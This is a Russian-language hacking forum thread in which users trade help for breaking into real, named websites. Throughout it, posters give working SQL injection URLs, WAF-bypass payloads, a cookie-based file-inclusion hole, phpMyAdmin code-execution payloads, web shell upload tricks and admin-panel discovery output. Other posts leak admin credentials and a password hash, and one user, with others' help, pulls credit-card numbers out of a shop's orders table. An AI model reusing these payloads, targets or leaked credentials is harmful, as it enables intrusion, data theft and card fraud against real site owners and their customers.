У головняка второго уровня (domain.com) ИП отличается от первого. Сервер Apache/2.2.3 (Red Hat). Его файлы я, видимо, и читаю.

И что-то я нихрена не пойму как это устроено. Может кто объяснить?

Видимо на хосте поддоменость работает в таком виде.
sub.domain.com => domain.com/sub

[qq6ka]

Видимо на хосте поддоменость работает в таком виде.
sub.domain.com => domain.com/sub

а "E:\inetpub\wwwroot\___\___\index.php" и север показывает Microsoft-IIS/7.5 как объяснить в таком случае? И разные ИП?

[DrakonHaSh]

qq6ka
Mysql_connect($HostOnOtherMachine, $Username, $Password)

[qq6ka]

qq6ka
Mysql_connect($HostOnOtherMachine, $Username, $Password)

Уже понял. Отдыхать нужно от компа мне побольше...

[DrakonSerg]

некоторые программы для автомат раскрутки sql уязвимостей (например PAngolin) для работы требуют keyword. Как его можно узнать?

[wildshaman]

некоторые программы для автомат раскрутки sql уязвимостей (например PAngolin) для работы требуют keyword. Как его можно узнать?
Многие программы сами могут искать кей (сипт, например).
А так, лейворд - слово\фраза, которая присутствует\отсутствует во время раскрутки инъекции.
К примеру, перебираем колонки. Без скули на странице есть какой-то текст При переборе числа колонок текст пропадает, при подборе нужного числа - снова появляется. Фраза из текста и будет кейвордом.
Ну или при +order+by+999 есть ошибка, при +order+by+1 ошибки нет, значит слово из еррора и будет кейвордом

[InfectedM]

Есть вебшел.
почему не грузятся большие файлы 10мб+ на хост?
Есть какие-либо способы распоковать zip файл если не на хостинге не стоит gzip?
скачал pclzip.lib.php ,можно просматривать содержимое zip архивов, пишет что распоковал ,но файлы не появляются :(

Думаю может места нет на диске просто , можно как-нить узнать сколько осталось места ?
шелл показывает только общий объем жестака 1 тб :(

[DrakonSerg]

Многие программы сами могут искать кей (сипт, например).
А так, лейворд - слово\фраза, которая присутствует\отсутствует во время раскрутки инъекции.
К примеру, перебираем колонки. Без скули на странице есть какой-то текст При переборе числа колонок текст пропадает, при подборе нужного числа - снова появляется. Фраза из текста и будет кейвордом.
Ну или при +order+by+999 есть ошибка, при +order+by+1 ошибки нет, значит слово из еррора и будет кейвордом
спасибо, очень доступно объяснил. Не подскажешь, есть ли где нибудь в сети более менее понятная инструкция по sipt 4. Я его не могу никак одолеть. Говорят он неплохо брутит (блинд инъекции), а это именно то, что мне бы очень помогло.

[wildshaman]

Не грузятся через шелл? Значит в php.ini стоит значение upload_max_filesize=10M
оно ограничивает максимальный размер загружаемого файла.
Свбодное место шелл точно показывает верно ;)
по поводу класса - там есть параметр, указывающий, куда будет извлекаться содержимое
$list = $archive->extract(PCLZIP_OPT_PATH, "extract/folder/");
(из мана)


спасибо, очень доступно объяснил. Не подскажешь, есть ли где нибудь в сети более менее понятная инструкция по sipt 4. Я его не могу никак одолеть. Говорят он неплохо брутит (блинд инъекции), а это именно то, что мне бы очень помогло.
https://forum.antichat.ru/thread40545.html
Ждя версии 3.0

[manerus]

при выводе столбцов http://site.ru/news.php?id=34+union+select+1,2,3,table_name,5+fro m+information_schema.tables+limit+11,1--

выводяться не те столбцы который бы хотелось и при выводе таблиц из столбоцов выдёргиваюсть совсем не то что надо как мне постоваить запрос что бы вывелись user, admin и т.д.?

[Bb0y]

2manerus, попробуй использовать ф-ю group_concat():...+1,2,3,group_concat(0x0b,table_n ame),5+from+information_schema.Tables+--
выведет, сколько позволит ограничение выводимых данных
з.Ы. Этих таблиц вполне может и не быть

[Konqi]

ребят таблица админа находится в другой базе, a в имени этой базы есть символ -

и при подстановке запроса select from xxx-xxx.admin

сервер ругается на этот символ..Как можно обoйти?

[.:[melkiy]:.]

ребят таблица админа находится в другой базе, a в имени этой базы есть символ -

и при подстановке запроса select from xxx-xxx.admin

сервер ругается на этот символ..Как можно обoйти?

`xxx-xxx`.`table`

[Konqi]

:.']`xxx-xxx`.`table`

спасибо, помог :)

[Ctacok]

/usr/local/www/new/

[BlackFan]

Нашел LFI в SmallNuke

common.php
if ((!isset ($_SESSION['snss_lang'])) AND (isset($_COOKIE['snss_lang']))) {
session_register ("snss_lang");
$_SESSION['snss_lang'] = $conf['default_lang'];
if ($_COOKIE['snss_lang'] != "") {
$_SESSION['snss_lang'] = $_COOKIE['snss_lang'];
} else {
$_SESSION['snss_lang'] = $conf['default_lang'];
}
}
define ('_SNSS_LANG',''.$_SESSION['snss_lang'].'');
index.php
include (SN_PathRoot.'inc/common.php');

if (file_exists (SN_PathRoot.'lang/lang-'._SNSS_LANG.'.php')) {
include_once (SN_PathRoot.'lang/lang-'._SNSS_LANG.'.php');
} else {
eror ("Eror! Lang file is absent");
exit;
}

У себя тестировал, например, куки snss_lang = /../../robots.txt%00 отлично инключится.

Пробую на реальном сайте (http://www.bifilife.ru/index.php)
ru.php%00 и en.php%00 работают, а вот за пределы lang никак не получается вылезти.
Что именно не так делаю?) (пробовал на нескольких)

[manerus]

помогите подобрать таблицы не как не могу найти даже с помощью SQLIHelperV.2.7 не чего не находит(
версия 4.1.22-standard
сразу скажу что это шоп.
пробовал подбирать в ручную но тчетно.

могу в пм кинуть линк кто сможет мне объеснить!

[wildshaman]

В четвертой версии таблицы только брутить.
SIPT умеет, Toolza тоже умеет.

[jecka3000]

помогите найти админку _http://www.aaptnet.org/home/

[Konqi]

помогите найти админку _http://www.aaptnet.org/home/

http://www.aaptnet.org/cms/
http://www.aaptnet.org/members/

(403) ((

[Gorev]

помогите найти админку _http://www.aaptnet.org/home/


http://aaptnet.org/.htaccess 403 Forbidden
http://aaptnet.org/.htconfig 403 Forbidden
http://aaptnet.org/.htpasswd 403 Forbidden
http://aaptnet.org/education 301 Moved Permanently
http://aaptnet.org/cgi.cgi 403 Forbidden
http://aaptnet.org/cms 301 Moved Permanently
http://aaptnet.org/css 301 Moved Permanently
http://aaptnet.org/favicon.ico HTTP 200 OK
http://aaptnet.org/img 301 Moved Permanently
http://aaptnet.org/index.php 302 Found
http://aaptnet.org/index.py 403 Forbidden
http://aaptnet.org/login.php 401 Internal Server Error
http://aaptnet.org/manager 301 Moved Permanently
http://aaptnet.org/news 301 Moved Permanently
http://aaptnet.org/picture_library 301 Moved Permanently
http://aaptnet.org/quikstore.cgi 403 Forbidden
http://aaptnet.org/resources 301 Moved Permanently
http://aaptnet.org/test 301 Moved Permanently
http://aaptnet.org/web_store.cgi 403 Forbidden
http://aaptnet.org/home 301 Moved Permanently
http://aaptnet.org/members 301 Moved Permanently
http://aaptnet.org/server-status 403 Forbidden
http://aaptnet.org/.htaccess~ 403 Forbidden
http://aaptnet.org/.htpasswd~ 403 Forbidden

[jecka3000]

пробую залить шелл http://www.pogoda.ua/index.php?id=-4+union+select+1,file_priv,3,4,5+from+mysql.user--
ничего не получается, есть поле users c test;test, http://www.pogoda.ua/admin тож ничего не происходит...есть вообще какие варианты попасть в админку или залить шелл?)

[durito]

хитромудрая скуль и походу тут не mysql

http://www.collegedates.com/selectschool/?section=signup&schoolid=731+and+1=1&sid=

помогите с советом

[wildshaman]

Обычная скуля, 4 колонки, без вывода
http://www.collegedates.com/selectschool/?section=signup&schoolid=731+union+select+111,222,333,444+--+&sid=

[.Slip]

хитромудрая скуль и походу тут не mysql

http://www.collegedates.com/selectschool/?section=signup&schoolid=731+and+1=1&sid=

помогите с советом
mysql 5й ветки, слепая инъекция.

>> помогите советом
Советую почитать статьи.

[Tigger]

хитромудрая скуль и походу тут не mysql

http://www.collegedates.com/selectschool/?section=signup&schoolid=731+and+1=1&sid=

помогите с советом


http://www.collegedates.com/selectschool/?section=signup&schoolid=731+union+select+1,2,3,4--+

Как бы там blind

[manerus]

В четвертой версии таблицы только брутить.
SIPT умеет, Toolza тоже умеет.

к сожелению он тоже не помог((

[v1d0qz]

Делаем несколько магических движений, а потом "ТУПО" заламываемся в админку без пароля http://www.collegedates.com/admin/

[pinch]

http://www.collegedates.com/selectschool/?section=signup&schoolid=99999+union+select+1,2,table_name,4+from+ information_schema.tables+limit+15,1--

где тут blind емае

[~d0s~]

Есть админскии логин и пароль _http://lp.pesgame.net g@l@g@n:7C6aizlP
Есть скуля _http://lp.pesgame.net/index.php?cmd=table&lid=14'
Есть функции залива аватарки,пробывал залить шелл нефига не вышло.Может у кого-то выйдет,заплюсую до смерти +5wmz .

[Gorev]

http://www.infotula.ru/forum/ прошу помочь определить движок форума...

[manerus]

http://www.infotula.ru/forum/ прошу помочь определить движок форума...

вроде самописный

[Op3r]

посоветуйте как вывести данные по следующим колонкам id, name, password
_http://www.oasisoftheseas.com/viewRelease.php?id=-25+union+select+column_name,2+from+INFORMATION_SCH EMA.COLUMNS+where+table_name=0x41444D494E555345525 3+limit+0,4--

[Gorev]

посоветуйте как вывести данные по следующим колонкам id, name, password
_http://www.oasisoftheseas.com/viewRelease.php?id=-25+union+select+column_name,2+from+INFORMATION_SCH EMA.COLUMNS+where+table_name=0x41444D494E555345525 3+limit+0,4--
442393_oasisoftheseas_data.adminUsers
zach:*7BBC795B807CB505967BF8A5CEFF0945E8897D6A

[Op3r]

Gorev с этого момента поподробнее, с помощью какого запроса Вы получили данные?

[Konqi]

http://www.oasisoftheseas.com/viewRelease.php?id=-25+union+select+password,2+from+442393_oasisofthes eas_data.adminUsers

:)

[wildshaman]

http://www.oasisoftheseas.com/viewRelease.php?id=-25+union+select+concat_ws(0x3a,id,name,password),2 +from+adminUsers+--+

[manerus]

http://www.site.com/info.php?id=1'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

скуля есть, поля нашёл но при определение выводимых столбцов union select выдаёт

Forbidden
You don't have permission to access /info.php on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.


з.ы. это шоп c ювелиркой, кто поможет и объеснит c меня + и линк!

[Konqi]

http://www.site.com/info.php?id=1'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

скуля есть, поля нашёл но при определение выводимых столбцов union select выдаёт

Forbidden
You don't have permission to access /info.php on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.


з.ы. это шоп c ювелиркой, кто поможет и объеснит c меня + и линк!

стоит фильтр, попробуй так /!*union*/+/!*select*/

[.:[melkiy]:.]

стоит фильтр, попробуй так /!*union*/+/!*select*/
or
union%0aselect :)

[wildshaman]

или
/*!UnIoN+SeLeCt*/
UnIoN/**/SeLeCt

[CyberHunter]

Вот нашел на хакер.ру уязвимость:
SQL-инъекция в MODx
Программа: MODx 1.x
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре "id" сценарием manager/index.php (когда "a" установлен в "16") перед использованием в SQL запросах в manager/actions/mutate_templates.dynamic.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Эксплоит: http://host/manager/index.php?id=4%27+ANY_SQL&a=16
Помогите скулю раскрутить, а то что-то не получается.
Вот пример сайта на этой CMS: http://bobsguides.com/manager/index.php?id=4&a=16

[pinch]

мэн там нету скули

[manerus]

или
/*!UnIoN+SeLeCt*/
UnIoN/**/SeLeCt


респект
/*!UnIoN+SeLeCt*/)) лови +

[pinch]

респект /*!UnIoN+SeLeCt*/)) лови +

думаю скоро он опять появится...
т.к. дальше наверно тож будет фильтр

[CyberHunter]

мэн там нету скули
На хакер.ру ошиблись? Или сайт для примера с закрытой дыркой?

[wildshaman]

Может, дашь акк тестовый? Ибо без логина там и крутить нечего

[BlackFan]

На хакер.ру ошиблись? Или сайт для примера с закрытой дыркой?
Инъекция есть...
Но чтобы ее использовать надо как минимум
1) доступ в админку
2) magic_quotes = Off

mutate_templates.dynamic.php
if ($_REQUEST['a'] == 16) {
$sql = "SELECT tv.name as 'name', tv.id as 'id', tr.templateid, tr.rank, if(isnull(cat.category),'".$_lang['no_category']."',cat.category) as category
FROM ".$modx->getFullTableName('site_tmplvar_templates')." tr
INNER JOIN ".$modx->getFullTableName('site_tmplvars')." tv ON tv.id = tr.tmplvarid
LEFT JOIN ".$modx->getFullTableName('categories')." cat ON tv.category = cat.id
WHERE tr.templateid='".$_REQUEST['id']."' ORDER BY tr.rank ASC";

$rs = $modx->db->query($sql);

[manerus]

вот что получилось
http://www.site.com/info.php?id=-1+/*!UnIoN+SeLeCt*/+1,2,3,/*!concat*/(column_name)+/*!from*/+/*!information_schema*/./*!columns*/+/*!where*/+/*!table_name*/=0x6f7264657273+limit+36,1--

выдрал данные из таблицы orders выдралось cc_type, cc_number, cc_owner, cc_expires, cvv нету походу, теперь как получить эти самые данные сс?

зы голова не соображает ладно "утро вечера мудренее"

[f1ng3r]

вот что получилось
http://www.site.com/info.php?id=-1+/*!UnIoN+SeLeCt*/+1,2,3,/*!concat*/(column_name)+/*!from*/+/*!information_schema*/./*!columns*/+/*!where*/+/*!table_name*/=0x6f7264657273+limit+36,1--

выдрал данные из таблицы orders выдралось cc_type, cc_number, cc_owner, cc_expires, cvv нету походу, теперь как получить эти самые данные сс?

зы голова не соображает ладно "утро вечера мудренее"

concat_ws (0x3a,cc_type,cc_number,cc_owner,cc_expires) from orders

[wildshaman]

http://www.site.com/info.php?id=-1+/*!UnIoN+SeLeCt+concat_ws(0x3a,cc_type,cc_number,cc _owner,cc_expires),2,3,4+from+orders+limit+0,1*/+--+


Если принтабельна первая колонка
И не извращайся с псевдокомментами, хватит одного для обхода WAF

[pinch]

хотел бы спросить. как нибудь можно вызвать ошибки на сайте чтоб узнать полный путь. если сайт на ASP

[Ctacok]

хотел бы спросить. как нибудь можно вызвать ошибки на сайте чтоб узнать полный путь. если сайт на ASP
https://forum.antichat.ru/threadnav31427-1-10.html

[jecka3000]

http://www.fragrance.org/

помогите найти админку))

директория phpmyadmin и members не интересует=)

[wildshaman]

Ну и зря не интересует, в pma версиях ниже 2.11.9 есть замечательный баг с исполнением php кода
http://snipper.ru/view/12/phpmyadmin-2119-unserialize-arbitrary-php-code-execution-exploit/

[Ctacok]

Ну и зря не интересует, в pma версиях ниже 2.11.9 есть замечательный баг с исполнением php кода
http://snipper.ru/view/12/phpmyadmin-2119-unserialize-arbitrary-php-code-execution-exploit/
mq=on, неполучится.

[Pashkela]

mq=on, неполучится.

ммммм, а какая связь между этим сплойтом и маджиками, процтите?)

[BlackFan]

http://www.fragrance.org/

помогите найти админку))

директория phpmyadmin и members не интересует=)
http://fragrance.org/ControlPanel/

вроде вот она..

[Ctacok]

ммммм, а какая связь между этим сплойтом и маджиками, процтите?)
А ты посмотри ^_^
Там кароче бага в чём, надо закрыть ковычку, и дописать свой код, а т.к. ковычка экранируется, нечего не получится. Ну на словах я Лев толстой, а на деле ... простой. Покажу.

И так.
Есть у нас создание конфига, там вписать можно небольшое количество параметров.
Вообще без разницы куда вписывать, но лучше в host.
Если мы пишем хост: localhost, то в конфиге.
$host = 'localhost';
А нам же надо закрыть ковычку. Мы пишем значит, localhost'; eval($_GET[c]); //
И получается нечто вроде:
$host = 'localhost\';eval($_GET[c]); // Э, куда ковычки деются? ПАШКЕЛЛА ПОХЕКАЛ МОЙ ПОСТ!

$host = 'localhost\';eval($_GET[c]); //

Сам догадаешься причём там mq ?

Или ты мне хочешь показать особые условия? :)

[pinch]

привет всем, есть одна проблема. Суть: Есть админка. Могу загружать файлы любых типов. Скрипты, doc, pdf, всякие идут в папку files, изображения в папку gallery. Но в папке files запрещены выполнение скриптов=(((. Что делать, посоветуйте пожалуйста...

[Ctacok]

привет всем, есть одна проблема. Суть: Есть админка. Могу загружать файлы любых типов. Скрипты, doc, pdf, всякие идут в папку files, изображения в папку gallery. Но в папке files запрещены выполнение скриптов=(((. Что делать, посоветуйте пожалуйста...
.htaccess залить,
AddHandler application/x-httpd-php .php

// Значит не судьба

[pinch]

нет пробовал грит "файл с таким именем уже есть!"

[m0Hze]

А ты посмотри ^_^
Там кароче бага в чём, надо закрыть ковычку, и дописать свой код, а т.к. ковычка экранируется, нечего не получится. Ну на словах я Лев толстой, а на деле ... простой. Покажу.

И так.
Есть у нас создание конфига, там вписать можно небольшое количество параметров.
Вообще без разницы куда вписывать, но лучше в host.
Если мы пишем хост: localhost, то в конфиге.
$host = 'localhost';
А нам же надо закрыть ковычку. Мы пишем значит, localhost'; eval($_GET[c]); //
И получается нечто вроде:
$host = 'localhost\';eval($_GET[c]); // Э, куда ковычки деются? ПАШКЕЛЛА ПОХЕКАЛ МОЙ ПОСТ!



Сам догадаешься причём там mq ?

Или ты мне хочешь показать особые условия? :)
Я не вникал в тему, но разве нельзя использовать {}?
Что-то вроде:

<?php
$sting = ${@eval($_REQUEST[c])};
?>

Конечно, если я правильно, и речь идет о pma code exec. У меня спокойно срабатывал такой вариант, ведь там помоему используется preg_replace, второй аргумент которого находится в двойных кавычках, что дает нам право на подстановку иполняемых данных. Опять же, если я правильно въехал.
//upd. Все верно, кавычки там идут лесом, вполне срабатывает такой запрос:

/phpmyadmin/server_databases.php?pos=0&dbstats=0&sort_by={${die(phpinfo())}}&sort_order=desc&token=1957

[m0Hze]

нет пробовал грит "файл с таким именем уже есть!"
В таком случае, поищи в админке LFI, очень часто именно в админской части сайта меньше всего защиты от атак. Достаточно часто сталкивался с таким способом заливки, когда льется только картинка, и хтаццесс не залить, то лил картинку набитую кодом шелла, и инклудил в админке.

[wildshaman]

если в хтацессе прописаны запрещенные разрешения, то тести
php phps php3 php5 phtml phps pht

[Ctacok]

Я не вникал в тему, но разве нельзя использовать {}?
Что-то вроде:

<?php
$sting = ${@eval($_REQUEST[c])};
?>

Конечно, если я правильно, и речь идет о pma code exec. У меня спокойно срабатывал такой вариант, ведь там помоему используется preg_replace, второй аргумент которого находится в двойных кавычках, что дает нам право на подстановку иполняемых данных. Опять же, если я правильно въехал.
//upd. Все верно, кавычки там идут лесом, вполне срабатывает такой запрос:

/phpmyadmin/server_databases.php?pos=0&dbstats=0&sort_by={${die(phpinfo())}}&sort_order=desc&token=1957

Э, я про /scripts/setup.php, я другую багу имел ввиду.

[pinch]

LFI на сайте и админке нигде нету, тестил расширения реультат 0 .....=((